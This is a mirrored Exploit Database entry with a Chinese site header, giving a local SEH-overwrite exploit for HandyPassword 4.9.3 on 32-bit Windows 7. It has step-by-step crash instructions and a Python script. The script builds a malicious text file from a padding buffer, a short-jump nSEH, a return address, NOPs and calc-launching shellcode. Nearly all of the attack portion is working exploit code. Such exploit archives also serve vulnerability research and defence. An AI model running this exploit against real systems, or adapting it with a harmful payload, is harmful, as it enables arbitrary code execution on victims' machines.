HandyPassword 4.9.3 – Overwrite (SEH)

• Exploit Database
• 34 阅读

• 作者： Un_N0n
  日期： 2015-10-21
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38504/

• '''
  ********************************************************************************************
  # Exploit Title: HandyPassword SEH-Over Write Exploit
  # Date: 9/24/2015
  # Exploit Author: Un_N0n
  # Software Link: http://www.handypassword.com/download.shtml
  # Version: 4.9.3
  # Tested on: Windows 7 x86(32 BIT)
  ********************************************************************************************
  
  [Steps to Produce the Crash]:
  1- open 'HandyPassword.exe'.
  2- Then From Menu Goto New Card->Simple Login Form.
  3- Click on Create Card, Enter the contents of 'Exploit.txt' Created by script in the Title Field.
  4- Enter Short Random value in the rest of the fields.
  5- Click on OK
  ~ Calculator will appear and Software will Crash.
  
  [Code to produce Exploit]: 
  '''
  
  junk = "A"*1144
  
  nseh = "\xeb\x06\x90\x90" #JMP 6bytes
  jmp ="\xB3\x27\x2F\x7F"#0x7f2f27b3 From 
  
  nops = "\x90"*50
  shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
  "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
  "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
  "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
  "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
  "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
  "\x45\x81\x3e\x43\x72\x65\x61\x75"
  "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
  "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
  "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
  "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
  "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
  "\x6c\x63\x89\xe2\x52\x52\x53\x53"
  "\x53\x53\x53\x53\x52\x53\xff\xd7");
  junk2 = "D"*2000
  
  file = open("exploit.txt",'w')
  file.write(junk+nseh+jmp+nops+shellcode+junk2)
  file.close()